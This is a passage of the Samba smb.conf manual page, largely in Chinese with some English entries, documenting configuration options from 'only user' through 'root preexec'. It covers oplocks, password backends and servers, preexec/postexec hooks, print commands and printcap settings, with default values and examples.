此布尔量选项控制是否允许当前进行联接所用的用户名没有列在\fIuser\fR列表中.缺省情况下此项是被禁止了,这样用户只要提供服务需要的用户名就可以了.设置这个选项将强制服务器使用\fIuser\fR列表中的登录用户名,这只在共享级安全中有效。
要注意的是上面的说法也表明了samba并不会从服务名而推演出相应的用户名.这样的话对于[homes]段就比较麻烦了.要避免麻烦的话需要用\fBuser = %S\fR,这句就表明你的用户列表\fIuser\fR正好就是这个服务资源名,这时的主目录名就是用户名.
参见 \fIuser\fR 选项。
缺省设置: \fBonly user = no\fR
.TP
oplock break wait time (G)
此项调整性的选项以适应在Windows 9x和WinNT中可能出现的错误.当用户发起一个会导致oplock暂停请求(oplock break request)的SMB对话时,如果samba对其响应太快的话,客户端将会失败并且不能响应此请求.这个可调整的选项(以毫秒为单位)是一个samba在向这样的客户发送oplock暂停请求前等待的时间量.
\fB除非你理解了samba的oplock代码,否则不要改变这个选项!\fR
缺省设置: \fBoplock break wait time = 0\fR
.TP
oplock contention limit (S)
这是个\fB非常\fR高级的\fBsmbd\fR(8)调整选项,用以改进在多个用户争夺相同文件时oplocks认可操作的效率.
简单地说,这个选项指定了一个数字,如果争夺相同文件的用户数量超过了此设定极限的话,即使有请求,\fBsmbd\fR(8)也不再认可oplock的操作了.这样的话\fBsmbd\fR就象Windows NT一样的运行.
\fB除非你理解了samba的oplock代码,否则不要改变这个选项! \fR
缺省设置: \fBoplock contention limit = 2\fR
.TP
oplocks (S)
此布尔量通知\fBsmbd\fR是否对当前请求的共享资源上的文件打开操作启用oplocks(机会性的锁定操作).oplock代码可以明显改善访问samba服务器文件的速度(approx.30% 甚至更多).它允许本地缓存文件,对于不可信赖的网络环境来说可能需要禁止掉这个选项(在Windows NT服务器上它是缺省打开的).请参考samba \fIdocs/\fR目录下的\fISpeed.txt\fR文件.
oplocks会有选择性地关闭每一个基本共享资源上的特定文件.参见\fI veto oplock files\fR 选项.在有些系统上会通过最底层的操作系统确认oplocks.这样就可以在所有的访问与oplocked文件中进行数据同步,而不管此访问是通过samba或NFS或者是本地的UNIX进程.参见\fIkernel oplocks\fR选项查看细节.
参见 \fIkernel oplocks\fR 以及 \fI level2 oplocks\fR parameters.
缺省设置: \fBoplocks = yes\fR
.TP
os2 driver map (G)
The parameter is used to define the absolute path to a file containing a mapping of Windows NT printer driver names to OS/2 printer driver names\&. The format is:
<nt driver name> = <os2 driver name>\&.<device name>
For example, a valid entry using the HP LaserJet 5 printer driver would appear as \fBHP LaserJet 5L = LASERJET.HP LaserJet 5L\fR\&.
The need for the file is due to the printer driver namespace problem described in ???\&. For more details on OS/2 clients, please refer to ???\&.
缺省设置: \fBos2 driver map = <空字符串>\fR
.TP
os level (G)
这个整数值控制在浏览器选举中Samba宣布它本身是什么系统级别. 此选项的值决定了\fBnmbd\fR(8是否有机会成为本地广播区域内工作组\fI WORKGROUP\fR中的主控浏览器.
\fB注意\fR: 默认情况下,Samba将在本地主控浏览器选举中超越所有M$操作系统并且获胜,除非还有Windows NT4.0/2000 域控制器。这意味着Samba主机的错误配置将使一个子网的浏览无效。参见Samba \fIdocs/\fR 目录中的\fIBROWSING.txt \fR来获取详细信息。
缺省设置: \fBos level = 20\fR
示例: \fBos level = 65 \fR
.TP
pam password change (G)
With the addition of better PAM support in Samba 2\&.2, this parameter, it is possible to use PAM's password change control flag for Samba\&. If enabled, then PAM will be used for password changes when requested by an SMB client instead of the program listed in \fIpasswd program\fR\&. It should be possible to enable this without changing your \fIpasswd chat\fR parameter for most setups\&.
缺省设置: \fBpam password change = no\fR
.TP
panic action (G)
此项是一个samba开发者使用的选项以允许当\fBsmbd\fR(8)或\fBsmbd\fR(8)程序崩溃时可以调用一个系统命令.通常这种功能被用于发出对问题的警告.
缺省设置: \fBpanic action = <空字符串>\fR
示例: \fBpanic action = "/bin/sleep 90000"\fR
.TP
paranoid server security (G)
Some version of NT 4\&.x allow non-guest users with a bad passowrd\&. When this option is enabled, samba will not use a broken NT 4\&.x server as password server, but instead complain to the logs and exit\&.
Disabling this option prevents Samba from making this check, which involves deliberatly attempting a bad logon to the remote server\&.
缺省设置: \fBparanoid server security = yes\fR
.TP
passdb backend (G)
This option allows the administrator to chose which backends to retrieve and store passwords with\&. This allows (for example) both smbpasswd and tdbsam to be used without a recompile\&. Multiple backends can be specified, separated by spaces\&. The backends will be searched in the order they are specified\&. New users are always added to the first backend specified\&.
This parameter is in two parts, the backend's name, and a 'location' string that has meaning only to that particular backed\&. These are separated by a : character\&.
Available backends can include: .TP 3 \(bu \fBsmbpasswd\fR - The default smbpasswd backend\&. Takes a path to the smbpasswd file as an optional argument\&. .TP \(bu \fBtdbsam\fR - The TDB based password storage backend\&. Takes a path to the TDB as an optional argument (defaults to passdb\&.tdb in the \fIprivate dir\fR directory\&. .TP \(bu \fBldapsam\fR - The LDAP based passdb backend\&. Takes an LDAP URL as an optional argument (defaults to \fBldap://localhost\fR) LDAP connections should be secured where possible\&. This may be done using either Start-TLS (see \fIldap ssl\fR) or by specifying \fIldaps://\fR in the URL argument\&. .TP \(bu \fBnisplussam\fR - The NIS+ based passdb backend\&. Takes name NIS domain as an optional argument\&. Only works with sun NIS+ servers\&. .TP \(bu \fBmysql\fR - The MySQL based passdb backend\&. Takes an identifier as argument\&. Read the Samba HOWTO Collection for configuration details\&. .LP
缺省设置: \fBpassdb backend = smbpasswd\fR
示例: \fBpassdb backend = tdbsam:/etc/samba/private/passdb.tdb smbpasswd:/etc/samba/smbpasswd\fR
示例: \fBpassdb backend = ldapsam:ldaps://ldap.example.com\fR
示例: \fBpassdb backend = mysql:my_plugin_args tdbsam\fR
.TP
passwd chat (G)
这个字串控制在\fBsmbd\fR(8)和本地口令更改程序间更用户口令时发生的\fB"chat"\fR对话.字符串描述一个应答接收对的序列,让\fBsmbd\fR(8)用于决定对\fIpasswd program\fR发送并等待接收哪些具体的内容.如果没有收到预计的输出时不会更改口令.
这个chat序列一般发生在特定的主机上,取决于本地口令控制的方法(就象NIS或者别的).
注意这个选项仅仅在\fIunix password sync\fR选项设置为\fByes\fR的时候有用。当smbpasswd文件中的SMB口令被更改时是\fB以root身份\fR运行的,不必输入旧密码文本. 这意味着root必须可以在不知道用户密码时重置他的密码。在NIS/YP 中这意味着passwd程序必须在NIS主控服务器上运行。
这个字符串可以包含\fI%n\fR宏,用于替换新密码。chat序列还可以包含标准宏\fB\\\\n\fR, \fB\\\\r\fR, \fB\\\\t\fR 和\fB\\\\s\fR 来给出换行,回车,tab和空格。chat序列字符串还可以包含'*' 来匹配任何字符序列。双引号用来将带空格的字符串设为一个单独的字符串。
如果在对话序列的任何部分发送的字符串为一个句号".",那么不会发送任何内容.同样,如果等待接收部分有字符串是一个".",那么不等待任何的内容.
如果\fIpam password change\fR参数设置为\fByes\fR,chat可以以任何顺序进行,没有特定的输出,是否成功可以由PAM结果得到。在PAM会话中宏\\n被忽略。
参见 \fIunix password sync\fR, \fI passwd program\fR , \fIpasswd chat debug\fR 和 \fIpam password change\fR.
缺省设置: \fBpasswd chat = *new*password* %n\\n *new*password* %n\\n *changed*\fR
示例: \fBpasswd chat = "*Enter OLD password*" %o\\n "*Enter NEW password*" %n\\n "*Reenter NEW password*" %n\\n "*Password changed*"\fR
.TP
passwd chat debug (G)
此布尔量指定口令对话脚本选项是否以 \fBdebug\fR模式运行.在调试模式下,发送和接收的口令对话字符串会打印到\fIdebug level\fR为100时的\fBsmbd\fR(8)记录文件中.由于在\fBsmbd\fR 记录中允许使用明文口令,所以这是个危险的选项.不过这个选项可以帮助Samba管理员在调用\fIpasswd program\fR设好的口令程序时调试其\fIpasswd chat\fR 对话脚本,并且应该在完成以后把它关闭.这个选项在设置了\fIpam password change\fR选项时无效。缺省情况下这个选项是关闭的.
参见 \fIpasswd chat\fR , \fIpam password change\fR , \fIpasswd program\fR .
缺省设置: \fBpasswd chat debug = no\fR
.TP
passwd program (G)
指定用于设定UNIX用户口令的程序名.出现\fI%u\fR的地方表示以用户名替换.在调用口令更改程序前会先检查用户名是否存在.
需要注意的是很多口令程序强调口令要\fB合法\fR,例如应该有最小长度或者是字母与数字的混合.这可能在一些客户端(如WfWg)总将口令转为大写发送时,引起一些问题.
\fB注意\fR如果把\fIunix password sync\fR选项设为\fByes\fR的话,在改变smbpasswd文件中的SMB口令时是\fB以root身份\fR调用改口令程序的.如果口令更改失败的话,\fBsmbd\fR对SMB口令的更改也会失败,这是设计时的机制.
如果设定了\fIunix password sync\fR选项的话,指定口令程序时\fB必须使用\fB所有\fR程序的绝对路径,必须检查安全问题.缺省的\fIunix password sync\fR选项值是 \fBno\fR.
参见 \fIunix password sync\fR.
缺省设置: \fBpasswd program = /bin/passwd\fR
示例: \fBpasswd program = /sbin/npasswd %u\fR
.TP
password level (G)
在一些客户端/服务器群体中使用大小写混合口令存在着困难.其中比较麻烦的一类客户是WfWg,因为它在使用LANMAN1协议时出于某些理由而强调要使用大写口令.不过当使用COREPLUS时不要修改它!
另外在Windows95/98 操作系统中会出问题: 即使选择了会话中的NTLM0.12协议,这些客户端也会将明文口令转为大写。
此选项定义了口令字中大写字母的最大数量.
例如,假定给出的口令是"FRED".如果\fI password level\fR设为1的话,在"FRED"验证失败时会尝试以下的口令组合:
"Fred", "fred", "fRed", "frEd","freD"
如果\fIpassword level\fR设为2的话,就会尝试下面的组合:
"FRed", "FrEd", "FreD", "fREd", "fReD", "frED", \&.\&.
等等。
把此选项设成的值越高,相对单一大小写口令来说大小写混合的口令越容易匹配。.不过,要小心使用这个选项会降低安全性,同时增加处理新联接所花的时间量.
如果把选项设为0时会使处理口令时只作两种尝试 - 先与给出的口令比较,再比较它的全部小写形式.
缺省设置: \fBpassword level = 0\fR
示例: \fBpassword level = 4\fR
.TP
password server (G)
通过在这里指定其它的SMB服务器或者活动目录域控制器,同时使用\fBsecurity = [ads|domain|server]\fR,能把联接samba的用户名/口令合法性验证交给指定的远程服务器去干.
此选项设定上面所说的其它口令服务器的名字或者IP地址. 新的语法允许在连接到ADS realm服务器时指定端口号。要指定默认的LDAP 389端口之外的号码,可以将端口号放在名字或ip后面,中间用一个冒号连接(比如说,192.168.1.100:389)。如果你不指定一个端口,Samba将使用标准的LDAP端口tcp/389. 注意端口号在WindowsNT4.0 域或者netbios连接的服务器上无效
如果参数是一个名称,它将使用 \fIname resolve order\fR 中指定的方式来解析。
口令服务器应该是使用"LM1.2X002"或"LM NT 0.12"协议的主机,而且它本身必须使用用户级安全模式.
注意:使用口令服务器表明你的UNIX主机(就是运行Samba的那台)就只与你指定的口令服务器具有相同的安全等级了.\fB在没有完全信任的情况下不要选择使用其它的口令服务器\fR.
不要把口令服务指向Samba服务器本身,这产生一个循环而去查找你的Samba服务器,导致死锁.
在指定口令服务器名时可以使用标准的替换符,而实际能用的可能只是\fI%m\fR这一个,这个替换符说明Samba服务器会用联入的客户作为口令服务器.如果这样用的话说明你非常信任你的客户,同时最好以主机允许策略对他们进行限制!
如果把安全级\fIsecurity\fR选项设为\fBdomain\fR或者\fBads\fR的话,指定的其它口令服务器必须是在这个Domain中的一个主域控制器或备份域控制器或者'*'.另外指定字符'*'的话就以samba服务器会在整个域中使用加密验证RPC调用来验证用户登录.使用\fB security = domain\fR的好处是,如果指定了几个\fIpassword server\fR时,\fBsmbd \fR会对每一个进行尝试直到它收到回应,对于初始服务器当机时这就很有用了.
如果\fIpassword server\fR选项设为字符'*'的话,samba将尝试通过查询\fBWORKGROUP<1C>\fR名字来自动查找主或者备份域控制器并联系经过名字解析得到的IP地址列表中的每个服务器来进行用户验证.
如果服务器列表包含名字或IP同时也包含'*'时,列表将视为首选域控制器的列表,但是也会添加一个自动的对所有其余DC的查找。Samba不会通过定位最近的DC来优化这张列表。
如果\fIsecurity\fR是\fBserver\fR的话,会有一些安全级为\fBsecurity = domain\fR时所没有的限制:
如果在\fIpassword server\fR选项中指定了几个口令服务器的话,\fBsmbd\fR在联接具体的服务器时会失败,也不能验证任何的用户账号.这是安全级为\fBsecurity = server \fR模式时SMB/CIFS协议的一个限制,并且Samba无法修改.
如果把Windows NT服务器作为口令服务器,你必须确保用户可以从Samba服务器上进行登录.当使用\fB security = server\fR模式时,网络登录看起来是从那里处理的,而不是从用户工作站.
参见 \fIsecurity \fR 选项。
缺省设置: \fBpassword server = <空字符串>\fR
示例: \fBpassword server = NT-PDC, NT-BDC1, NT-BDC2, *\fR
示例: \fBpassword server = windc.mydomain.com:389 192.168.1.101 *\fR
示例: \fBpassword server = *\fR
.TP
path (S)
此项指定给出的服务项所用的系统路径.在服务项具有可打印属性时,打印假脱机数据会先存放在这个路径所指的位置中.
This parameter specifies a directory to which the user of the service is to be given access\&. In the case of printable services, this is where print data will spool prior to being submitted to the host for printing\&.
对于那些要对访客提供的可打印服务来说,服务项应该设为只读,而且路径应该设为全局可写属性并具有粘性(s)位.这当然不是强制性的,不过不这样做的话可能会无法得到你所希望的结果.
路径出现\fI%u\fR的地方将以正处于联接状态的UNIX用户名来替换;同样出现\fI%m\fR的地方将以请求联接的主机NetBIOS名替换.在设定伪主目录时,这种替换项很有用的.
所指定的路径都是基于根目录\fIroot dir\fR(如果有的话)的.
缺省设置: \fB无\fR
示例: \fBpath = /home/fred\fR
.TP
pid directory (G)
This option specifies the directory where pid files will be placed\&.
缺省设置: \fBpid directory = ${prefix}/var/locks\fR
示例: \fBpid directory = /var/run/\fR
.TP
posix locking (S)
The \fBsmbd\fR(8) daemon maintains an database of file locks obtained by SMB clients\&. The default behavior is to map this internal database to POSIX locks\&. This means that file locks obtained by SMB clients are consistent with those seen by POSIX compliant applications accessing the files via a non-SMB method (e\&.g\&. NFS or local file access)\&. You should never need to disable this 选项。
缺省设置: \fBposix locking = yes\fR
.TP
postexec (S)
此项指定在断开服务时运行的一个命令.它使用通常的替换项.此命令在一些系统中可能是以root身份来运行的.
一个有趣的示例,用于卸载服务器资源:
\fBpostexec = /etc/umount /cdrom\fR
参见 \fIpreexec\fR.
缺省设置: \fB无 (不执行命令)\fR
示例: \fBpostexec = echo \"%u disconnected from %S from %m (%I)\" >> /tmp/log\fR
.TP
preexec (S)
此项指定在联接到服务时运行一个命令.通常这也可以用一些替换项.
一个有趣的示例,在用户每一次登录时向对方发送一个欢迎信息:(一条格言?)
\fBpreexec = csh -c 'echo \"Welcome to %S!\" | /usr/local/samba/bin/smbclient -M %m -I %I' & \fR
当然,一段时间以后这类信息可能就比较讨厌了:-)
参见 \fIpreexec close\fR 和 \fIpostexec \fR.
缺省设置: \fB无 (不执行命令)\fR
示例: \fBpreexec = echo \"%u connected to %S from %m (%I)\" >> /tmp/log\fR
.TP
preexec close (S)
此布尔量选项控制是否从\fIpreexec \fR返回的非零代码会关闭所联接的服务.
缺省设置: \fBpreexec close = no\fR
.TP
prefered master (G)
这是为拼写错误准备的。请查看 \fI preferred master\fR :-)
.TP
preferred master (G)
此布尔量选项控制\fBnmbd\fR(8)是否作为工作组里的首选主浏览器.
如果设此选项为\fByes\fR时,\fBnmbd\fR会在启动时强制进行一次选举,它有一些有利条件来赢得选举.推荐把此选项与\fB domain master = yes\fR联合使用,这样\fBnmbd\fR可以保证成为一个域浏览器.
小心使用此项,因为如果在相同的子网内有多个主机(不管是Samba服务器,Windows95还是NT)参加选举的话,他们每个都会周期性不断地尝试成为本地主浏览器,这时会造成不必须的广播交通流量并降低浏览性能.
参见 \fIos level\fR.
缺省设置: \fBpreferred master = auto\fR
.TP
preload (G)
此选项定义了要自动加入到浏览列表的服务项清单.这对于homes和printers服务项非常有用,否则这些服务将是不可见的.
注意,如果你想加载printcap里所有的打印机,那么用\fIload printers\fR会更容易.
缺省设置: \fBno preloaded services\fR
示例: \fBpreload = fred lp colorlp\fR
.TP
preload modules (G)
This is a list of paths to modules that should be loaded into smbd before a client connects. This improves the speed of smbd when reacting to new connections somewhat\&.
缺省设置: \fBpreload modules = \fR
示例: \fBpreload modules = /usr/lib/samba/passdb/mysql.so+++ \fR
.TP
preserve case (S)
此项控制建立新的文件时取名是否使用用户传递的大小写,还是强制使用\fIdefault case \fR.
缺省设置: \fBpreserve case = yes\fR
参见NAME MANGLING段中的完整讨论.
.TP
printable (S)
如果此项设为\fByes\fR,那么用户可以读写并发送打印缓存文件到服务项指定的目录中.
注意一个可打印的服务\fB总是\fR允许通过缓存打印数据的方法向服务项路径中执行写操作(需要用户有可写权限).\fIread only\fR选项控制只允许不可打印地访问资源.
缺省设置: \fBprintable = no\fR
.TP
printcap (G)
与 \fI printcap name\fR 同义.
.TP
printcap name (S)
此项用于覆盖掉编译时产生的缺省printcap名(通常是\fI/etc/printcap\fR).参见[printers]段的讨论,它说明了为什么要这样做的理由.
To use the CUPS printing interface set \fBprintcap name = cups \fR\&. This should be supplemented by an addtional setting printing = cups in the [global] section\&. \fBprintcap name = cups\fR will use the "dummy" printcap created by CUPS, as specified in your CUPS configuration file\&.
在可以用\fBlpstat\fR命令列出可用打印机的列表的System V系统上,可以用\fBprintcap name = lpstat \fR来自动获得可用打印机列表.这对于配置samba时定义成SYSV的系统(这就包括了很多基于System V的系统)来说是缺省情况.如果在这些系统上设好\fIprintcap name\fR为\fIlpstat\fR的话,samba就会执行\fBlpstat -v\fR并尝试分析输出信息以获得一份打印机列表.
通常最小的printcap文件看起来就象下面这样:
.nf
print1|My Printer 1
print2|My Printer 2
print3|My Printer 3
print4|My Printer 4
print5|My Printer 5
.fi
我们看到'|'符号用来定义打印机的别名.第二个带有空格的别名其实是提示Samba它是注释.
在AIX中默认的printcap文件名是\fI/etc/qconfig\fR. 如果在文件名中找到\fIqconfig\fR字样,Samba将假定文件是AIX 的\fIqconfig\fR格式。
缺省设置: \fBprintcap name = /etc/printcap\fR
示例: \fBprintcap name = /etc/myprintcap\fR
.TP
print command (S)
当一个打印作业完全缓冲到了服务项时,此项指定的命令就能过调用\fBsystem()\fR来处理那些缓存文件.通常我们指定典型的命令来发送缓存文件到主机的打印子系统,不过也不一定要这样.服务器不会删除那些缓存文件,所以你指定的任何命令都应当在处理完以后删除文件,否则的话就需要手工来删除旧的缓存文件了.
打印命令是一个简单的文本字符串。它可以在宏替换之后逐字传递给系统。
%s, %f - 缓冲文件名路径
%p - 适当的打印机名
%J - 客户提交的作业名
%c - 缓冲的作业需要打印的页数
%z -缓冲的打印作业的大小(以字节计)
打印命令至少\fB必须\fR包含\fI%s\fR或\fI%f\fR替换符中的一个,而\fI%p\fR是个可选项.在提交打印作业时,如果不提供打印机名的话,\fI%p\fR替换符会从打印命令中删掉.
如果在[global]段中指定了打印命令,它将被用于任何可打印性的服务项,而不再需要在它们之中单独指定了.
如果既没有对可打印性服务项单独指定打印命令又没有指定一个全局的打印命令时,假脱机文件虽然会建立却不会被处理也不会被删除(这很重要哦).
注意在某些UNIX上以\fBnobody\fR账号身份进行打印会导致失败.如果发生了这样的情况请建立一个单独的有打印权的访客账号并在[global]段里设置\fIguest account\fR选项.
如果你明白命令是直接传递给shell的话,你可以组织非常复杂的打印命令.举例来说,下面的命令会记录一个打印作业,打印这个文件然后删掉它.注意这里的';'是shell脚本命令常用的分隔符.
\fBprint command = echo Printing %s >> /tmp/print.log; lpr -P %p %s; rm %s\fR
你可能必须根据平时在系统上打印文件的方式来改变这个命令.缺省情况下,此选项会根据\fIprinting\fR选项的设定而变化.
缺省设置: 对于 \fBprinting = BSD, AIX, QNX, LPRNG 或者 PLP :\fR
\fBprint command = lpr -r -P%p %s\fR
对于 \fBprinting = SYSV 或者 HPUX :\fR
\fBprint command = lp -c -d%p %s; rm %s\fR
对于 \fBprinting = SOFTQ :\fR
\fBprint command = lp -d%p -s %s; rm %s\fR
对于 \fBprinting = CUPS :\fR
如果Samba 编译时加入了libcups, 那么\fIprintcap=cups\fR将使用CUPS API来提交作业等等。否则它用-oraw选项,使用SystemV命令来打印,也就是说它会用\fBlp -c -d%p -o raw; rm %s\fR.当\fBprinting = cups\fR, 并且Samba编译时加入了libcups时,任何手工设置的打印命令将被忽略。
示例: \fBprint command = /usr/local/samba/bin/myprintscript %p %s\fR
.TP
printer (S)
与 \fI printer name\fR 同义。
.TP
printer admin (S)
This is a list of users that can do anything to printers via the remote administration interfaces offered by MS-RPC (usually using a NT workstation)\&. Note that the root user always has admin rights\&.
缺省设置: \fBprinter admin = <空字符串>\fR
示例: \fBprinter admin = admin, @staff\fR
.TP
printer name (S)
此选项指定可打印性服务项用来打印缓存作业数据的打印机.
如果在[global]段里指定了打印机名称,那么给出的打印机就用于任何可打印性服务项而不需个别的指定打印机名称了.
缺省设置: \fB空 (在很多系统中可能是 \fBlp\fR )\fR
示例: \fBprinter name = laserwriter\fR
.TP
printing (S)
此选项控制系统上如何解释打印机状态信息,而如果在[global]段中定义,它也会影响\fIprint command\fR,\fIlpq command\fR,\fIlppause command\fR,\fIlpresume command\fR和\fIlprm command\fR这些选项的缺省值
通常系统支持九种打印机风格,它们是\fBBSD\fR, \fBAIX\fR, \fBLPRNG\fR, \fBPLP\fR, \fBSYSV\fR, \fBHPUX\fR, \fBQNX\fR, \fBSOFTQ\fR,还有 \fBCUPS\fR
要在系统上查看使用了不同的选项后其它打印命令的缺省值,可以用\fBtestparm\fR(1)程序.
此项可以在每一台打印机上分别设置.
参见[printers]段的讨论。
.TP
print ok (S)
与 \fIprintable\fR 同义。
.TP
private dir (G)
This parameters defines the directory smbd will use for storing such files as \fIsmbpasswd\fR and \fIsecrets\&.tdb\fR\&.
Default :\fBprivate dir = ${prefix}/private\fR
.TP
profile acls (S)
This boolean parameter controls whether \fBsmbd\fR(8) This boolean parameter was added to fix the problems that people have been having with storing user profiles on Samba shares from Windows 2000 or Windows XP clients\&. New versions of Windows 2000 or Windows XP service packs do security ACL checking on the owner and ability to write of the profile directory stored on a local workstation when copied from a Samba share\&.
When not in domain mode with winbindd then the security info copied onto the local workstation has no meaning to the logged in user (SID) on that workstation so the profile storing fails\&. Adding this parameter onto a share used for profile storage changes two things about the returned Windows ACL\&. Firstly it changes the owner and group owner of all reported files and directories to be BUILTIN\\\\Administrators, BUILTIN\\\\Users respectively (SIDs S-1-5-32-544, S-1-5-32-545)\&. Secondly it adds an ACE entry of "Full Control" to the SID BUILTIN\\\\Users to every returned ACL\&. This will allow any Windows 2000 or XP workstation user to access the profile\&.
Note that if you have multiple users logging on to a workstation then in order to prevent them from being able to access each others profiles you must remove the "Bypass traverse checking" advanced user right\&. This will prevent access to other users profile directories as the top level profile directory (named after the user) is created by the workstation profile code and has an ACL restricting entry to the directory tree to the owning user\&.
缺省设置: \fBprofile acls = no\fR
.TP
protocol (G)
与 \fImax protocol\fR 同义
.TP
public (S)
与 \fIguest ok\fR 同义
.TP
queuepause command (S)
定义服务器暂停打印队列时要执行的命令.
此命令应该是个只用打印机名作为选项的程序或脚本,以便用来停止打印队列,使打印作业不再向打印机发送.
此命令不支持Windows for Workgroups,但可以在Windows 95和NT的打印机窗口中发送.
此处用替换符\fI%p\fR可以替代打印机名称.否则这个名称将被放置在命令后面.
注意,在命令中使用绝对路径是个好习惯,因为不一定可以获得服务器的PATH变量.
缺省设置: \fB依赖于 \fIprinting\fR 选项的设置\fR
示例: \fBqueuepause command = disable %p\fR
.TP
queueresume command (S)
定义服务器恢复暂停了的打印队列时要执行的命令.就是用于恢复因为上面的选项(\fI queuepause command\fR)而导致的结果的.
此命令应该是个只用打印机名作为选项的程序或脚本,以便用来恢复打印队列,使打印作业继续向打印机发送.
此命令不支持Windows for Workgroups,但可以在Windows 95和NT的打印机窗口中发送.
此处用替换符\fI%p\fR可以替代打印机名称.否则这个名称将被放置在命令后面.
注意,在命令中使用绝对路径是个好习惯,因为不一定可以获得服务器的PATH变量.
缺省设置: \fB依赖于 \fIprinting\fR 选项的设置\fR
示例: \fBqueuepause command = enable %p\fR
.TP
read bmpx (G)
此布尔量选项控制是否让\fBsmbd\fR(8)支持"多工读块"(Read Block Multiplex)的SMB.现在这种方式已经很少用了,所以缺省是\fBno\fR.一般你不需要设定此选项.
缺省设置: \fBread bmpx = no\fR
.TP
read list (S)
此处给出对服务项有只读权限的用户清单.如果正在联接的用户属于此列表,那么他们将没有写权限,此时是不管\fIread only\fR选项是否设置的.此列表可以包括用在\fI invalid users\fR 选项中描述的语法定义的组名称.
参见 \fI write list\fR 和 \fIinvalid users\fR 选项。
缺省设置: \fBread list = <空字符串>\fR
示例: \fBread list = mary, @students\fR
.TP
read only (S)
注意它与 \fIwriteable\fR 反义.
如果这个参数是\fByes\fR, 那么服务的用户不能建立或修改服务目录中的文件。
注意一个可打印的服务(\fBprintable = yes\fR) 的目录\fB 总是\fR 可写的(需要用户可写权限)但是只能通过缓冲操作来写.
缺省设置: \fBread only = yes\fR
.TP
read raw (G)
此选项控制着是否让服务器在传送数据到客户端时支持读取原始的SMB请求.
如果允许,那么它会以65535 字节为单位来读取一个数据包的65535字节.这会带来较多的性能方面的好处.
但是,有些客户端使用不正确的包容量(虽然是可允许的),或者它们不支持大容量包,所以对这些客户端你应该禁止这一选项.
通常将此选项作为一种系统调试工具,而且严格来说不应修改.参见\fIwrite raw\fR选项.
缺省设置: \fBread raw = yes\fR
.TP
read size (G)
此项影响着磁盘读/写与网络读/写的轮流交替.如果在若干个SMB命令(通常是SMBwrite,SMBwriteX和SMBreadbraw)中传送的数据量超过此项设定的值时,服务器开始就会在从网络接收整个数据包之前进行写操作;在执行SMBreadbraw的情况下,服务器在从磁盘上读出所有数据之前就开始向网络中写数据.
在磁盘与网络的访问速度相近时,这种交迭式的工作就会做得非常好,不过当其中一类设备的速度大大高于另一类时,它只会有那么一点点效果.
缺省的值是16384,但没有做过测试最优值的实验。根据已经了解的情况来看,在使用不同的系统时,最优化值的差别很大.一个大于65536的值是没有任何意义的,它只会造成不必要的内存分配.
缺省设置: \fBread size = 16384\fR
示例: \fBread size = 8192\fR
.TP
realm (G)
This option specifies the kerberos realm to use\&. The realm is used as the ADS equivalent of the NT4 \fBdomain\fR\&. It is usually set to the DNS name of the kerberos server\&.
缺省设置: \fBrealm = \fR
示例: \fBrealm = mysambabox.mycompany.com\fR
.TP
remote announce (G)
此项允许你设置\fBnmbd\fR(8)周期性地向任意工作组的任意IP地址申明自己的存在.
如果你要samba服务器处在一个通常浏览传播规则没有正常工作的远程工作组里时,用此项就很有用了.此远程工作组可以位于IP包到得到的任何地方.
例如:
\fBremote announce = 192.168.2.255/SERVERS 192.168.4.255/STAFF\fR
以上这行说明\fBnmbd\fR 对两个给出的使用工作组名的IP地址进行申明.如果你只用了IP地址的话,那么会用\fIworkgroup\fR选项里给出的工作组名来替代.
你选用的IP地址通常应该是远程网络的广播地址,不过也可以用配置稳定的网络中的已知主浏览器IP地址.
缺省设置: \fBremote announce = <空字符串>\fR
.TP
remote browse sync (G)
此项允许你设定\fBnmbd\fR(8)周期性地同步位于远程(remote segment)的Samba主浏览器上的浏览列表.同时也允许你收集位于具有交叉路由子网中主浏览器上的浏览列表.这是以一种和其他非Samba的服务器不兼容的方式进行的。
This is useful if you want your Samba server and all local clients to appear in a remote workgroup for which the normal browse propagation rules don't work\&. The remote workgroup can be anywhere that you can send IP packets to.
例如:
\fBremote browse sync = 192.168.2.255 192.168.4.255\fR
以上行会使\fBnmbd\fR向位于指定子网或地址中的主浏览器请求同步他们本地服务器中的浏览列表
你选用的IP地址通常应该是远程网络的广播地址,不过也可以用配置非常稳定的网络中的已知主浏览器IP地址.如果给出一个主机的IP地址,或者主控浏览器事实上在自己的网段中, samba就\fB不\fR验证远程主机是否有效、是否正在侦听了。
缺省设置: \fBremote browse sync = <空字符串>\fR
.TP
restrict anonymous (G)
这个选项限制了是否在匿名连接中返回用户和组列表信息,仿照了Windows2000 和NT在注册表键值\fBHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\LSA\\RestrictAnonymous\fR 中的做法。设置为0的时候,任何请求都返回用户和组列表。设置为1的时候,只有认证的用户可以获得用户和组列表。设置为2的时候,只有Windows2000/XP和Samba支持,不允许匿名连接。这样做会阻止需要匿名操作的M$或第三方程序运行。
The security advantage of using restrict anonymous = 1 is dubious, as user and group list information can be obtained using other means.
The security advantage of using restrict anonymous = 2 is removed by setting \fIguest ok\fR = yes on any share.
缺省设置: \fBrestrict anonymous = 0\fR
.TP
root (G)
与 \fIroot directory"\fR 同义
.TP
root dir (G)
与 \fIroot directory"\fR 同义.
.TP
root directory (G)
服务器将在启动时对此项所设之目录进行\fBchroot()\fR(也就是改变根目录) 操作.对于安全操作来说,这并不是十分必要的.如果没有这步操作,服务器会拒绝对服务项以外的文件进行访问.同时也检查并拒绝那些文件系统其它部分的软链接或者尝试在其它目录(取决于选项\fIwide links\fR的设置情况)中使用".."这些操作.
加入一个\fIroot directory\fR,注意不是实际的"/"目录,可以增加额外的安全级别,但是代价就高了.这样完全确保了所指定的\fIroot directory\fR及所属子目录外的文件都是不能访问的,\fB包括\fR服务器正常运行时所需的一些文件也是如此.因此要想维护服务器整体的可操作性,你需要镜像一些系统文件到所指定的\fIroot directory\fR下.特别是要镜像 \fI/etc/passwd\fR文件或此文件的子集,如果需要的话,任何打印操作要用到的二进制文件或配置文件也要镜像.当然,应该由操作系统决定必须被镜像的文件集合.
缺省设置: \fBroot directory = /\fR
示例: \fBroot directory = /homes/smb\fR
.TP
root postexec (S)
此项与 \fIpostexec\fR选项含义相同,只是以root身份来运行命令而已.在一次联接关闭之后对文件系统,特别是光盘驱动器进行卸载是非常有用的.
参见 \fI postexec\fR.
缺省设置: \fBroot postexec = <空字符串>\fR
.TP
root preexec (S)
此项与 \fIpreexec\fR选项含义相同,只是以root身份来运行命令而已.在一次联接稳定建立之后装载文件系统,特别是光盘驱动器是非常有用的.
参见 \fI preexec\fR 和 \fIpreexec close\fR 选项.
缺省设置: \fBroot preexec = <空字符串>\fR
.TP
